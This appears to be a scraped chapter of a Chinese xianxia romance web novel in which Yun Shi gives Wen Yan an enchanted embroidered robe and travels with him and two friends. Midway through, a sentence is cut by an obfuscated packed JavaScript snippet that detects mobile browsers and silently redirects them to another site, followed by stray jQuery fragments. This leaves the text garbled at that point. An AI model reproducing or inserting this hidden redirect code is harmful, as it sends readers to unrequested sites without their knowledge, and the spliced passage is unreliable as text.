    当云实终于从那种近乎虚脱的停滞状态中挣扎出来，强打起精神去查看屋角那个许久未动的信箱时，他才惊觉自己错过了什么。里面静静地躺着两封来自温言的信，信封上熟悉的字迹让他心头一紧。一封是一个月前寄来的，字里行间是克制的关切，问他安顿得如何，是否缺什么，语气平稳，却透着一丝不易察觉的担忧。另一封，是七天前刚到的，笔迹依旧稳定，内容却直接了许多——“半年之期已至，久未得你回音，甚忧。诸事渐妥，我将亲来一趟，接你回去。”


    回去。这两个字像带着温度的水，瞬间融化了包裹在他心外那层厚重的、自我隔绝的冰壳，也让他后知后觉地感到一阵恐慌——自己这副模样，如何能见温言？


    他几乎是立刻行动了起来。先是将自己从头到脚彻底清洗，刮去杂乱生长的胡须，修剪过长的头发。镜子里的人面色苍白消瘦，眼窝深陷，但总算露出了清晰的脸部轮廓，眼神里那种涣散的偏执淡去了，取而代之的是一种疲惫的清醒。他强迫自己按时吃饭，不再用生冷的食物敷衍胃袋，而是认真煮了软烂的米粥，做了简单的菜蔬。夜里，不再对着布料和纹路发呆，而是躺回床上，即使失眠，也闭目调息，让枯竭的精神一点点恢复。


    接着是收拾那间如同战后废墟般的小屋。他将堆积如山的废弃布料和画满纹路的纸团分类打包，该扔的扔掉，能留的整理好。桌案被擦拭干净，散落的针线、矿石粉末、染料罐被一一归位。打开窗户，让积攒了半年的、混杂着各种材料气息的沉闷空气流通出去，换入溪草镇春天清冽的风。


    温言来的那天，天气很好。阳光透过竹林的缝隙，在小院里洒下斑驳晃动的光点。院门被推开时，云实正站在收拾干净的屋前，有些无措地等待着。然后，他就看到了那个身影踏着光晕走进来。


    温言似乎没什么变化，依旧是一身看似寻常却质地不凡的常服，眉宇间带着惯常的沉稳，只是目光在触及云实的瞬间，细微地颤动了一下，随即被更深的柔和覆盖。他快步走近，在云实面前站定，没有说话，只是伸出手，轻轻地、却带着不容拒绝的力度，将云实拥入怀中。


    怀抱坚实而温暖，带着风尘仆仆的气息，还有云实熟悉的、令人安心的味道。温言的下巴抵着他的发顶，声音低低地响在耳畔，带着一丝长途跋涉后的沙哑，和毫不掩饰的情感：“……我真的很想你。”


    云实的身体先是微微一僵，随即彻底放松下来，所有的紧张、不安、自我怀疑，仿佛都在这个拥抱里找到了暂时的栖息地。他伸出手，环住了温言的腰，将脸更深地埋进对方的肩颈，声音闷闷的，却清晰无比：“……我也是。”


    静默相拥了片刻，云实才微微后退半步，抬起头，看着温言近在咫尺的眼睛。那里面的担忧、思念，还有终于见到他安然无恙的释然，都清晰可见。他没有犹豫，仰起脸，轻轻吻上了温言的唇。温言稍稍一顿，随即温柔地回应了他，舌尖轻轻描摹着他的唇形，如同无声的慰藉与询问。


    一吻结束，两人的气息都有些微乱。云实耳根发热，却强作镇定。他深吸一口气，转身走进屋内，从唯一整洁的床铺上，捧起了那件月白的长袍。


    他走回温言面前，双手将衣袍递出，动作郑重得近乎虔诚，眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934575|192840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    神却有些躲闪，不敢直视温言的反应，只盯着袍子上温润流动的微光，声音比刚才更低，带着不易察觉的轻颤：


    “我……我给你做了件衣服。礼物。”


    温言接过了那件月白长袍。入手的第一感觉是意料之中的轻盈与柔软，料子上乘，触感温润，和他衣橱里那些定制的衣裳一样妥帖。他低头细看，剪裁无可挑剔，针脚细密匀整得惊人，月色般的光泽在衣料上静静流淌，是一眼便能看出的好手艺，一件非常漂亮、合他心意的礼物。他心中暖意浮动，正欲开口夸赞云实费心——


    指尖无意间抚过袍角内侧一处极不起眼的接缝。


    一股极其微弱、却异常清晰的“感应”，如同静水中投入的一颗小石子漾开的涟漪，倏地透过指尖，漫过他敏锐的灵觉。


    温言唇边未绽开的笑意顿住了。他神色未变，眼神却骤然深邃，凝视着手中看似寻常的衣物，修长的手指沿着衣袍的纹理缓缓拂过，动作轻缓得近乎小心翼翼。这一次，他不再仅仅用眼睛看，用皮肤感知，而是调动了修士的灵觉，如同最精密的探针，无声地浸入这件月白衣袍的每一寸经纬。


    灵力梳理的纹路……不是烙印，不是嵌阵，是绣进去的？以一种他从未见过的、精妙到匪夷所思的勾连方式，藏在柔软的夹层里，与布料本身浑然一体，只有灵觉深入其中，才能“听”到它们如同活物呼吸般微弱而和谐的共鸣波动。这波动对他这样修为的人而言，几近于无，却像最贴心的侍从，会在灵力运转时悄然抚平那些连自己都可能忽略的细微滞涩。


    心神宁定的气息……并非丹药或香囊那样外附的气味，而是从织物深处、从那些用特殊植物浸染过的丝线所构筑的舒缓纹路里，自然散发出的、一片令人灵台瞬间清明三分的宁和“场”。这感觉细微却真实，仿佛置身晨雾未散的古刹庭院，尘虑顿消。


    还有……温言的手指在衣袍前后心、肘弯几处不易察觉地停顿了片刻。他的灵觉捕捉到了更隐晦、也更复杂的结构——那是层层嵌套、精密无比的引导阵列。


    更让他心中掀起惊涛骇浪的是，所有这些功能，这些通常需要珍贵灵材、复杂炼器工序、由专门匠师或宗门工坊合力才能尝试赋予法器的功效，此刻竟然完美地、和谐地共存于一件用针线缝制出来的日常衣袍里。没有半点灵力外泄的笨重感，没有法器常有的那种或冰冷或灼人的异物气息，它轻盈、舒适、好看，穿在身上绝不会引人注目。


    官方制作的制式护身法衣，他见过不少，要么功效强横却沉重板硬、穿着不便；要么追求轻便舒适，防护和辅助效果便大打折扣。何曾有过这样……将功效、舒适与美观平衡到如此匪夷所思境地的存在？而这，竟然是云实，用最普通的针线，在这样一个偏远小镇的陋室里，一针一线绣出来的？


    温言抬起头，看向面前有些忐忑不安的云实。青年脸上还带着久不见天日的苍白，眼神却清澈，正紧张地观察着自己的反应。温言张了张嘴，想说什么，却发现喉咙像是被什么堵住了，惯常的冷静与言辞此刻竟离他而去。他试了两次，才发出一点轻微的气音，却没能组成完整的句子。


    他不是没见过厉害的法器，四明宗的库藏，经手的奇珍，乃至某些隐秘渠道流出的古物，他都略有见识。但眼前这件……颠覆了他某种根深蒂固的认知。


    他猛地收紧了手指，将那月白的衣袍紧紧按在胸前，仿佛要透过衣料，握住那份无声诉说的全部。胸膛起伏了几下，他才终于找回了自己的声音，那声音低哑得厉害，带着毫不掩饰的震颤：


    “这……这是你……一针一线……做出来的？”


    云实看着温言紧紧攥着衣袍、喉结滚动却说不出完整句子的模样，心一下子沉到了谷底。还是……不行吗？太简陋了？或者哪里做得不对，惹他不喜欢了？他几乎想要伸手把那件衣服拿回来，或者立刻逃开，躲回那个尚未完全收拾干净的屋子角落里去。


    “我……”他刚艰难地吐出一个字，试图解释或者道歉。


    “喜欢。”


    温言打断了他，声音依然带着未平复的沙哑，却异常清晰、斩钉截铁。他抬起头，那双总是沉静深邃的眼眸此刻亮得惊人，里面翻涌的情绪复杂得让云实看不懂，但那最表层的光芒，是毫无保留的、近乎灼热的喜爱与惊叹。他重复了一遍，每个字都像从胸腔里直接掏出来，带着沉甸甸的重量：“太喜欢了。”


    他松开紧按在胸前的手，将衣袍稍微拿开些，低头又看了看，指尖珍惜地拂过那温润的月白料子，然后抬起头，目光牢牢锁住云实，嘴角扬起一个极其真切、甚至带着点罕见孩子气的弧度：“这礼物，我收下了。不仅要穿，”他顿了顿，语气里带着一种不容置疑的珍重，“还要天天穿。”


    悬在半空的心，被这句话稳稳地接住了。冰锥瞬间融化，化作一股温热的暖流，从心口迅速蔓延到四肢百骸。一股巨大的、混杂着释然、喜悦和浓浓酸涩的暖意冲上鼻腔，让他眼眶瞬间就红了。他努力眨了眨眼，把那股湿意逼回去，嘴角却不受控制地向上弯起，露出了这半年来的第一个，真正轻松而明亮的笑容。他用力点了点头，喉头哽咽，一时说不出别的话，只是重复：“嗯……你喜欢就好。”


    温言看着他如释重负、甚至有些傻气的笑容，心尖像是被最柔软的羽毛轻轻搔了一下，又痒又暖。他珍而重之地将衣袍搭在臂弯，空出的那只手自然地伸过去，握住了云实还有些冰凉的手指。


    “我试试。”温言说着，语气里带着一丝罕见的、几乎可以称之为“雀跃”的期待。他松开云实的手，就当着云实的面，褪去了自己的外袍，然后将那件月白长袍穿在了身上。


    动作间，衣袍如水般滑落，妥帖地覆上他的肩背腰身。大小竟是分毫不差，肩线恰好，袖长合度，腰身收束得利落又留有恰到好处的余裕。温言抬手，转身，动作流畅自然，衣袍随着他的姿态无声流转，月白的光泽在春日阳光下泛起温润的涟漪，更衬得他身形挺拔，气质清贵。这衣服仿佛不是新做的，而是早已跟随他多年，熟悉他每一个细微的习惯。


    温言系好衣带，微微活动了一下肩膀，一股难以言喻的舒适感便包裹了他。料子柔软亲肤，毫无新衣常有的僵硬感。更奇妙的是，当他下意识地略一调息，体内灵力随之自然流转时，衣袍内衬那些精妙纹路似乎产生了共鸣，仿佛有无形的手在轻轻梳理，让灵力运行得比平时更加圆融顺畅了，那份舒适感甚至蔓延到了灵台，让连日奔波和此刻激荡的心绪都悄然沉淀下来，变得异常清明宁静。


    这感觉……太不寻常了。温言垂下眼，看了看自己的衣袖，又抬眼望向紧张等待反馈的云实，心中那个念头如同破土而出的新芽，瞬间变得坚定无比。


    不能再让他一个人待在这种地方了。


    之前种种考量在这一刻，似乎都变得不再那么绝对重要。云实拥有的，绝不仅仅是那点惹麻烦的乱灵根和苏妄留下的诡异内丹。他有一种近乎本能的、化腐朽为神奇的天赋，一种能将冰冷的知识、复杂的情感、甚至沉重的歉疚，都化作指尖下温暖而强大实物的能力。这种能力，远比任何已知的“天赋”都更珍贵，也更需要被妥善保护、引导和……留在身边。


    让他留在自己身边打下手？不，那太轻慢了。温言看着云实因为自己试穿合体而明显亮起来的眼睛，心中迅速做出了决定。他要带他回去，不是作为需要隐藏的麻烦，也不是作为偶尔需要关照的旧识。他要将他接回家，放在自己目之所及、力所能及的范围之内。这个决定一旦做出，便如金石落地，再无更改。


    “很合身，”温言开口，声音已经恢复了惯常的平稳，但眼底的暖意和赞赏满得几乎要溢出来，“舒服得……不像新衣服。”


    他朝云实走近一步，伸手，这次不是握手，而是轻轻捧住了云实的脸颊，拇指拂过他眼下因为长期缺乏睡眠而残留的淡淡青影，动作温柔至极。


    “云实，”他低声唤道，目光深邃，“这半年，你受苦了。”


    云实被他掌心温热和突如其来的亲昵弄得有些无措，脸颊微微发烫，却也没有避开。他只是仰着脸，看着温言近在咫尺的眼睛，轻轻摇了摇头：“没有……我挺好的。”说完，似乎觉得这话太苍白，又补充道，“衣服你喜欢，就都值得。”


    温言没再说什么，只是俯身，在他额头上落下了一个很轻、却无比珍重的吻。


    翌日临走前，温言没有请人给云实易容。他觉得那样反而刻意，容易在真正的行家眼里留下破绽。


    “云实，你换上这个。”他从自己的储物法器中取出了一套衣服。那是一套雨过天青色的交领长袍，料子柔韧挺括，色泽清雅，只在袖口与衣襟边缘用同色丝线绣着极其精细的暗纹云气，不显山露水，却自有一番内敛的气度。这是世家之中身份清白的子弟常穿的便服。同时递过来的，还有一根素白的、用某种冰滑丝线编织而成的发绳。


    云实接过，触手是意料之外的好料子，比他在溪草镇能买到的任何布料都要细腻。他看了温言一眼，对方神色平静。他没多问，转身进了里间。


    当他再次走出来时，温言的目光在他身上停留了片刻，随即点了点头。


    天青色的袍服十分合身，既不过分宽大显得空荡，也未紧裹着凸显瘦削，恰到好处地勾勒出他清癯的骨架，反衬出一种松竹般的清韧。他依着自己的习惯，只将上半部分的头发用那根白色发绳束起一个简洁的马尾，余下的发丝依旧松散地披在肩后，长度约莫及肩。


    他依旧是他，眉眼未改，甚至神态间那点惯有的安静犹在，但整个人立在那里，已不再像是无根漂泊的浮萍，倒像是某个清静门庭里，一个或许性子有些静、但绝对被好好接纳和对待的年轻子弟，像是山间一棵天生姿态疏朗的野树，被移栽进了精心打理却不过分匠气的庭院。


    温言走上前，伸手替他拂了拂肩上并不存在的褶皱，指尖顺势掠过他束起的马尾，触到那冰滑的白绳。


    “很好，”他端详着，眼中流露出满意，“就这样。记住，从现在起，你叫‘阿实’，是我温家旁支一个远房表亲的孩子，父母早亡，早年在外漂泊，最近才来投奔我，在我身边做些文书整理和随行伺候的杂事。话不必多，但若有人问起，需答得坦然。”


    云实点了点头，将这新的身份烙印在心。他知道，这层身份是暂时的。


    他们离开溪草镇时没有惊动任何人，仿佛若笠这个人，就如同他到来时一样，悄然消失在了小镇的春风与溪流声中。温言雇了一辆外观普通、内里舒适的马车，不紧不慢地朝着京城方向行去。马车外是逐渐繁华起来的官道景象。


    行程过半，在一个南北商旅往来频繁的大镇驿站歇脚时，意料之外的相遇发生了。


    温言正带着云实在驿站旁的茶棚里稍作休息，刚坐下，便听见一个熟悉的、活力十足的声音从门口传来：“掌柜的，老规矩，三碗阳春面，一壶你们这儿最好的茶！赶了一路，可算能歇歇了！”


    云实下意识地抬头望去，只见风尘仆仆的纸鸢正利落地跨过门槛，她身后跟着个子窜高了些、肩膀也宽厚了些的予，少年脸上带着跑江湖练出来的机警和蓬勃朝气，手里还提着两个不小的包袱。纸鸢似乎瘦了些，但眉宇间的干练与那股子利落劲儿更足了，眼神亮得像淬过火的刀子，扫过茶棚时又快又准。


    予东张西望，一眼就看到了茶棚里显眼的温言，以及温言身旁那个熟悉身影。


    “温大人！”予惊喜地叫出声，随即目光落在云实身上，愣了一下，有些不敢确认，挠着头嘀咕：“……云，啊不对，现在该叫啥来着？”


    温言显然也有些意外，但很快便恢复了从容，起身微笑道：“真是巧遇。纸鸢姑娘，予，别来无恙。”


    纸鸢走过来，予紧跟其后。


    “温大人安好。”纸鸢先向温言行了一礼，目光便落在了云实身上，将他从头到脚细细打量了一遍，眼中闪过一丝了然，随即化为更深的宽慰。她什么也没问，只是伸出手，轻轻拍了拍云实的胳膊，力道温和而扎实：“好久不见。看起来……气色好些了。”


    予则是直接蹦了过来，差点想给云实一个拥抱，瞥见旁边的温言又硬生生刹住，只用力拍了拍他的肩膀，声音洪亮：“云实哥！真是你啊！这打扮……我都差点没认出来！嘿，精神多了！”


    他嗓门大，引来茶棚里些许侧目。


    温言示意他们一同坐下。交谈间得知，纸鸢的生意在顶住最初那波流言和压制后，凭借过硬的质量和灵活的手段，竟在夹缝中又打开了些新局面。予不再四处打零工，干脆正式跟着纸鸢干，他机灵肯跑，熟悉三教九流，又能打能扛，成了纸鸢得力的帮手和保镖，两人配合日渐默契。他们这次是往南边去谈一桩新的原料买卖，恰好在此歇脚。


    “对了，云实，”予忽然想起什么，从随身的包袱里掏出一个用油纸包得严严实实的东西，献宝似的递过来，“给！纸鸢姐特意绕路去有名的徐记买的酱肘子，还说要是路上碰不到你，就托人捎去溪草镇呢！可香了！”


    云实接过那还带着些许温热的油纸包，沉甸甸的，酱肉的浓香隐约透出来。他看向纸鸢，纸鸢只是笑了笑：“想着你或许缺油水。予念叨了一路，怕凉了不好吃。”


    简单的对话，寻常的食物，却让云实喉头一阵发紧。他低着头，手指摩挲着粗糙的油纸，半晌才低声道：“……谢谢。”


    温言将一切看在眼里，心中那个决定越发坚定。他沉吟片刻，开口道：“既然在此巧遇，便是缘分。我们也要回京，方向一致。若不嫌弃，不妨同行一程？路上也有个照应。” 他这话主要是对纸鸢说的，姿态放得很平，是以商量的口吻。


    纸鸢看了看温言，又看了看捧着酱肘子有些无措的云实，几乎没怎么犹豫便点头应下：“那便叨扰温大人了。”


    她能感觉到温言此举的善意，也乐得有机会能和云实多相处片刻，亲眼看看他过得好不好。


    于是，原本两人的行程变成了四人同行。温言重新安排了一辆更宽敞的马车。一路上，气氛与之前截然不同。


    予是个闲不住的话匣子，他挤在云实身边，兴奋地讲述着这半年跟着纸鸢走南闯北的见闻——哪里遇到了难缠的官府小吏，纸鸢姐如何三言两语化解；哪里发现了便宜又好用的新染料；他们怎么跟一伙想强买强卖的当地痞子周旋……他说得眉飞色舞，手舞足蹈，仿佛那些艰难困顿都成了有趣的冒险。云实安静地听着，偶尔问一两句，眼中渐渐有了鲜活的神采。


    纸鸢则大多时间与温言低声交谈，话题偶尔涉及沿途风物、商事见闻，甚至隐晦地提到一些北地官面上的新动向。


    途中歇宿时，云实终于找到了机会，将早已准备好的两件礼物拿出来。给予的是一件深褐色厚实短袄，在予惊喜的怪叫声中，云实低声解释：“跑外头，风大，这个耐磨，也暖和些。”


    袖口衣襟处不起眼的蔓草纹，是平安的祈愿。


    给纸鸢的是一件青灰色披风，样式大方简洁。纸鸢接过去，手指拂过领口内侧那簇精致的、几乎看不见的鸢尾花绣纹时，指尖微微一顿，抬眼看向云实，眼中波光微动，最终化为一个极其温柔而了然的笑容。


    “很实用，我很喜欢。”她轻声说，将披风仔细叠好收了起来。


    送出礼物，看到他们真心欢喜的样子，云实心里那块一直空缺的角落，似乎被什么东西暖暖地填满了。那种感觉，比他成功做出任何一件器物都要来得充实和快乐。


    当晚，他们在一处条件尚可的客栈要了两间相邻的上房。温言自然云实一间，纸鸢和予一人单独一间。安顿下来后，予嚷嚷着要庆祝重逢，跑去张罗了一桌不算奢华却十分实在的席面，有鱼有肉，还有当地特色的土酿。


    四人围坐一桌，烛火摇曳。予最是活跃，不停地劝酒布菜，讲着蹩脚的笑话。纸鸢偶尔揶揄他两句。温言也卸下了些许官场上的端肃，唇角含笑，听着看着，不时为身边的云实夹一筷子他多看了两眼的菜。云实起初还有些拘谨，慢慢地，在予的大嗓门、纸鸢温和的目光、以及身旁温言无声却存在感极强的陪伴下，他紧绷的肩背一点点松弛下来。


    他小口抿着予倒给他的酒，酒液辛辣，却带着一股暖流入腹。他看着予因为一个笑话笑得前仰后合，看着纸鸢眼中流转的暖意和偶尔闪过的精明算计，感受着桌下，温言的手自然地伸过来，轻轻覆在他放在膝头的手背上，掌心温热干燥。


    一种前所未有的、饱满而踏实的幸福感，如同春日解冻的溪流，缓缓漫过他的心田，浸润了他干涸太久的灵魂。没有提心吊胆的逃亡，没有孤注一掷的算计，没有令人窒息的爱恨纠缠，只有朋友真切的笑语，在意之人温暖的陪伴，和一顿简单却热气腾腾的饭菜。这平凡世俗的热闹与温暖，对他来说，曾是遥不可及的奢望。


    他忽然想起很久以前，在青石镇那个简陋的家里，弟弟妹妹吵吵闹闹，父母在灶间忙碌，空气里弥漫着食物最朴素的香气。那时只觉得是寻常日子，甚至有些烦闷于生活的窘迫。如今历经生死别离、屈辱挣扎、孤独隐匿之后，他才恍然惊觉，那种“寻常”是多么珍贵。


    等自己跟着温言安顿下来后，就回家看看吧。


    这一晚，他们聊到很晚。予最终不胜酒力，趴在桌上嘟囔着睡去，被纸鸢无奈地笑着扶回房。温言和云实也起身回房。关上门，隔绝了外界的声响，屋内一片静谧。温言没有多说什么，只是如同在溪草镇最后那几天一样，很自然地拥着云实躺下。云实背靠着温言温暖的胸膛，听着身后平稳有力的心跳，鼻尖萦绕着月白衣袍上那股令人安心的、混合了淡淡阳光与宁神植物气息的味道，以及温言本身清冽的气息。


    身体是疲惫的，心却像被温泉水包裹着，轻盈而柔软。他闭上眼睛，脑海中浮现的，是予夸张的笑脸，是纸鸢了然的微笑，是温言深潭般眼眸中映出的自己的影子，是那一桌寻常的饭菜，是掌心残留的、酱肘子油纸包的温热……


    他想，这辈子，好像从来没有这么开心过。仿佛在漫长的黑夜漂泊后，终于看到了一座亮着温暖灯火的港湾，并且知道，那港湾愿意接纳他这艘伤痕累累的小船。


    在沉入黑甜梦乡的前一刻，他迷迷糊糊地感觉到，温言的手臂将他圈得更紧了些，一个很轻的吻落在他的后颈，如同无声的烙印与承诺。